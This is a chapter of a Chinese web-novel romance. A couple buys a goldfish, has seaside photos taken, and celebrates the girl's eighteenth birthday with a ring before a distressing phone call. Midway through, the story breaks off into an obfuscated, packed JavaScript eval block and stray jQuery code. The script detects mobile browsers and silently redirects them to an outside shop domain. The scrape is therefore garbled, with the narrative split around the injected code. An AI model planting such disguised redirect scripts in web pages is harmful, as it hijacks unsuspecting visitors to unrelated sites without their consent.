文趣网 > 都市小说 > 后巷 > 35. 第 35 章
    “这家是没鱼缸了吗,用这么个破盒子?”

    身后看戏的老板无辜躺枪,“哎哎哎,小伙子,你可别乱讲,人家小姑娘点名要这种,我可是费了九牛二虎之力才给她翻出来的。”

    池夏没理店老板,视线放在白应怜脸上,白应怜眉眼弯弯,点头,“嗯,是我自己想要这种的,老板人很好。”

    老板抱臂仰头,趾高气扬。

    池夏吃瘪,问她,”付钱了?”

    “嗯。”

    “那走吧。”池夏拉着白应怜往外走。

    老板在后面喊,“下次再来哈。”

    等人走了,嘴里变了调,“小姑娘家家的,找这么凶的男朋友干什么?”

    此刻的池夏完全不知道自己在两家店已经留下截然相反的印象。

    外面飘着冷雪,路过便利店时,池夏进去买了一把伞撑开,伸手将白应怜揽进怀里,缓步走向车子。

    白应怜轻靠在他肩头,指尖托着掌心的小金鱼,静静看着。

    “这么喜欢?”

    “嗯,很喜欢。”她抬手,小心翼翼捧到他眼前。

    池夏实在看不出一条小鱼有什么特别,可这是白应怜第一次,直白地说喜欢一样东西。

    他忽然走神,思绪乱了,第一次听她说喜欢,明明是他。

    又说不清,他到底算不算一样东西。

    没再多想,他顺着她的目光看向金鱼,看了许久依旧觉得平平无奇,还是轻声开口。

    “嗯,很好看。”

    违心的夸赞落下,白应怜眼底笑意温柔,将小鱼紧紧护在怀里,珍视得不像话。

    她心情明朗,池夏心底也跟着柔软,连那条普通金鱼,都顺眼了许多。

    两人驱车去往老人口中的月亮湾。

    抵达时果然人烟稀少,路面湿滑,撑着一把伞缓缓走下堤岸。

    漫天大雪席卷天地,万物尽数被染成纯白。海边只有零星几人,寒风凛冽,吹散发丝。池夏默默解下自己的围巾,一圈一圈,仔细围在白应怜颈间。

    他们停在近海处,浪潮层层翻涌,前浪未平后浪又起。雪花落在海面,转瞬消融无踪,几只黑尾鸥在低空盘旋。

    “这么冷的天,居然还有海鸥。”池夏有些意外。

    “是黑尾鸥,冬候鸟。”一道温和声音从身后传来。

    两人回身望去。

    一位背着相机的大叔,戴着旧绿军帽,裹得严实,见二人看来,笑着举起相机。“拍照吗,二十五块五张。”

    那就是五块钱一张。

    “小情侣出来散心吧,拍几张留个念想?可以现场洗照片,很划算。”

    池夏有些心动。

    和白应怜在一起这么久,竟然连一张正式合照都没有。

    没有犹豫,“好,拍几组看看。”

    大叔立刻递出收款码,“先付后拍哈。”

    池夏扫着码轻笑,“是不是拍得不好看,客人拍完就跑?”

    大叔一愣,“你怎么知道?”

    他付钱的动作一顿,“还真有?”

    “开玩笑的,规矩而已。再说你们俩长相出众,再差技术也拍不坏。”

    池夏坦然接受夸赞:“那倒是。”

    付完钱,大叔让两人摆亲密姿势,彼此都格外僵硬别扭。

    “叔,不是说我们很好拍吗,不用这样。”

    “行,随意就好。”

    二人并肩相靠,望向镜头。

    “别这么拘谨,不是情侣吗?笑一点。”

    池夏伸手揽住她的肩。

    白应怜扯出一抹浅淡笑意。

    寒风骤然席卷而来,裹挟着海水的湿冷钻进衣缝,池夏冷得微微一颤,“好了没?”

    “不行不行,刚闭眼了,笑一笑。”

    不是不愿笑,海边温度刺骨,稍一牵动嘴角,连牙齿都像是要冻僵。

    就在这时,一只黑尾鸥盘旋落在二人头顶。

    “啪嗒——”

    一团白色异物落在池夏发间。

    他瞬间僵住,猛地向后躲开。

    白应怜看清模样,怔了两秒,没忍住低笑出声。

    风雪渐渐平缓,落雪安静飘散,覆在海岸,路面、二人肩头。

    “咔嚓”一声,画面定格。

    池夏慌忙抽纸擦拭,怎么都够不到。白应怜踮起脚尖伸手帮忙,他又无奈弯腰,低声抱怨,“什么破鸟。”

    看着她眼底藏不住的笑意,他轻轻捏住她的脸颊,

    “你男朋友被鸟砸头,你还笑?白应怜,你站哪边。”

    她压着笑意轻声应声。

    “你这边。”

    又是一声快门落下。

    池夏无奈抬头,“大叔,不用连意外都拍吧?”

    大叔看着相机笑道:“这不都是白雪景嘛。”

    他把相机递过来,“看看效果。”

    一共五张。

    前几张两人神态僵硬,笑容生硬。

    翻到第四张时,池夏目光一顿。

    照片里是白应怜的侧颜,眉眼弯弯,眼底盛着星光,晚风扬起发丝,鼻尖被寒气冻得泛红,干净又温柔。

    “这张很好看。”

    池夏这才看见镜头里的自己,神情窘迫,脸色难看。

    “我颜值被你拍毁。”

    大叔一脸委屈。再翻开最后一张,她指尖轻拂他发间,他轻捏她脸颊,神态自然亲昵,般配又温柔。

    之后大叔回去洗照片,二人静静望着海面。

    浪潮拍打礁石,浪花散落又退回深海。

    白应怜从口袋拿出那条小鱼,掌心温度把外壳捂得温热,鱼儿在狭小空间里缓缓游动。

    池夏失笑,“还带着?”

    “池夏。”她轻声唤他。

    “如果把它放回海里,它会游去哪里。”

    “浪太大了,大概还没游远,就被潮水卷走了。”

    白应怜静静失神,“这样啊。”

    她凝望小鱼许久,终究还是收回,重新揣回口袋。

    那就不放了。

    拿到洗好的照片,池夏只留下最后两张,老板额外送了一对印着合照的钥匙扣,池夏将钥匙扣挂在车钥匙上,举在空中欣赏半天。

    傍晚吃过晚饭驱车往回赶,夜里十一点前顺利到家。

    白应怜穿着他买的拖鞋,慵懒靠在沙发上,“好累。”

    他替她脱下外套,“比读书还累?”

    她认真思索,“那倒没有。”

    池夏揉了揉她的头顶:“去洗个澡吧。”

    她身上伤口早已愈合,只剩额头一处还未拆线,隔天便要带她过去。

    池夏习惯性收拾东西,骨子里带着轻微洁癖与强迫症,见不的乱。

    白应怜忽然想起什么,走到书架取下一只空玻璃花瓶,接满清水,将小鱼安放进去,摆在客厅正中。

    从狭小空间换到清水瓶里,鱼儿自在游动,鲜活又轻快。

    “要不要买鱼缸?”

    她轻轻摇头,“这样就够了。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852188|211821||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“只养一条,不取个名字吗?”

    “鱼也要取名吗?”

    “宋济凡养乌龟都叫忍者,鱼当然可以。”

    她静静望着瓶中游动的金鱼,沉默许久,轻声开口,

    “叫小黑吧。”

    池夏忍不住失笑,“认真半天就这个名字?还以为要多雅致。”

    对上她略带愠怒的眼神,立刻举手认错。

    “快去洗澡,快十二点了。”

    她不解他今日格外催促,从前他都不让她沾水。

    拿着衣物走进浴室的瞬间,池夏立刻起身布置。

    提前备好的装饰气球、礼物摆放整齐,手机来电被他轻轻挂断,下楼取来预定好的生日蛋糕,动作轻柔又小心。

    没多久,白应怜沐浴走出,看见他站在门口神色神秘。

    “怎么了?”

    他看了眼时间,十一点半。

    伸手轻轻捂住她的眼睛,一步步将她带进卧室。

    “池夏?”

    他俯身抵在她耳边,低音温柔缱绻,“等一下就知道了。”

    温热气息扫过耳廓,她微微蜷缩起来。

    手掌缓缓放下,卧室昏暗亮着淡淡的暖光。

    墙上挂上了气球,大大的数字“18”,轻柔歌声在身后缓缓响起。

    生日童谣轻轻落下,烛火微光映着他眉眼,眼底温柔虔诚。

    “十八岁生日快乐,许个愿吧。”

    白应怜怔了半晌,反应过来。

    心口酸涩翻涌,鼻腔发酸,情绪堵在喉咙里,看着蛋糕上,做工精美,一脸甜美戴着皇冠的小公主。

    她轻声有些哽咽,“池夏,谢谢你。”

    “跟自己男朋友,不用客气。”

    她摇摇头,声音颤抖,又重复一遍,“池夏,真的谢谢你。”

    她双手合十,闭眼虔诚许愿。

    烛火落在眼底,少女干净纯粹,胜过世间所有风月。

    她的心愿只有一个。

    愿池夏,平安顺遂,万事无忧,岁岁安康。

    闭眼许愿,轻轻吹灭蜡烛。

    他放下蛋糕,拿出礼物,打开精致盒子。

    “我亲爱的女朋友,愿意收下这份礼物吗?”

    一枚戒指静静躺在盒中,池夏有些紧张,手指轻颤。

    这枚戒指其实是他自己画的设计图,找人定制成的,稿图换了好多遍,最后定了最简约的一款。

    两人都不喜繁琐,最简单的对于两人来说,是最合适的。

    白应怜唇角轻扬,郑重又认真地点头。

    “我愿意。”

    他温柔浅笑,俯身将戒指戴在她指尖,在她手背落下轻柔一吻。

    低声回应。

    “我也是。”

    这时,电话声响起,打破这暧昧氛围,池夏不满的拿出手机,有些不悦的去看备注。

    屏幕上显示,“阿莱哥”

    池夏接通电话,对方语气焦急,“把电话给白应怜。”

    池夏听出不对劲,但还是照做,将手机递给白应怜。

    “你哥打来的。”池夏说。

    手机没有开免提,白应怜接过,放在耳边。

    池夏不知道对方说了什么,白应怜的脸一瞬间煞白,刚甜甜的浅笑消失殆尽,她整个人僵在那儿,被钉住一般,像一座一吹就散的雕像。

    十二点钟声敲响,白应怜迎来她的十八岁。

    在逃公主丢掉了她的水晶鞋,白应怜的灰姑娘梦也被这通电话打碎。